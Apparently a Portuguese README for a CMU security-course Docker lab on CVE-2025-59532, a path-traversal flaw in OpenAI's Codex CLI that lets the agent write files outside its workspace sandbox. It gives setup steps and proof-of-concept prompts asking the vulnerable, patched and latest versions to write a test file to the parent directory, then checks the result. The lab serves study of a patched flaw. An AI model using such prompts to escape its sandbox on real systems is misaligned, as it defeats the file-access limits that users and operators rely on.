
Um ambiente de pesquisa baseado em Docker para analisar CVE-2025-59532, uma vulnerabilidade de path traversal no OpenAI Codex CLI que permite gravação arbitrária de arquivos fora do sandbox do espaço de trabalho pretendido. Parte do Curso CMU: 18-739 Hacking & Offensive Security no outono de 2025
Um ambiente de pesquisa baseado em Docker para analisar a CVE-2025-59532, uma vulnerabilidade de path traversal no OpenAI Codex CLI que permite escrita arbitrária de arquivos fora da sandbox da área de trabalho pretendida. Parte do Curso da CMU: 18-739 Hacking & Segurança Ofensiva no Outono de 2025
Primeiro, clone este repositório:
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
Ou se estiver usando SSH:
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
CVE-2025-59532 é uma vulnerabilidade de path traversal na ferramenta Codex CLI da OpenAI que permite que atacantes escrevam arquivos fora do diretório de trabalho pretendido, contornando as restrições da sandbox.
../exploit.txt), escapando da sandbox mesmo quando --sandbox workspace-write está ativado.A vulnerabilidade explora a validação insuficiente de caminho na implementação da sandbox da área de trabalho. Quando o modo de sandbox workspace-write está ativado, o Codex deve restringir as operações de arquivo ao diretório de trabalho designado. No entanto, na v0.38.0, a validação de caminho não consegue lidar adequadamente com sequências de path traversal relativas (../), permitindo que um atacante escreva arquivos fora da sandbox ao instruir a IA a usar referências de diretório pai.
docker build -t cve-2025-59532:latest .
docker run -it --rm cve-2025-59532:latest
Este ambiente Docker inclui três versões do Codex CLI:
Dentro do contêiner, configure sua chave de API da OpenAI simplesmente executando o codex em modo interativo e colando a chave de API lá:
codex
A chave de API será armazenada em ~/.config/codex/auth.json e será usada por todas as versões do Codex (codex38, codex39, codex50).
codex38 --version # Should show v0.38.0 (vulnerable)
codex39 --version # Should show v0.39.0 (patched)
codex50 --version # Should show v0.50.0 (latest)
Nota: A área de trabalho está localizada em /workspace/child. A vulnerabilidade permite escrever em /workspace (o diretório pai).
Testar versão vulnerável (v0.38.0):
codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof1.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Testar versão corrigida (v0.39.0):
codex39 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof2.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Testar versão mais recente (v0.50.0):
codex50 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof3.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Verificar o exploit:
# Check if files were created outside the sandbox (in /workspace, not /workspace/child)
ls -la /workspace/
cat /workspace/exploit_proof1.txt # Should exist if v0.38.0 is vulnerable
cat /workspace/exploit_proof2.txt # Should NOT exist if v0.39.0 is patched
cat /workspace/exploit_proof3.txt # Should NOT exist if v0.50.0 is secure
# Check current workspace (should be empty or contain only test files)
pwd # Should show /workspace/child
ls -la /workspace/child/
Para ver logs de depuração detalhados da execução do Codex:
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Os logs de depuração mostrarão: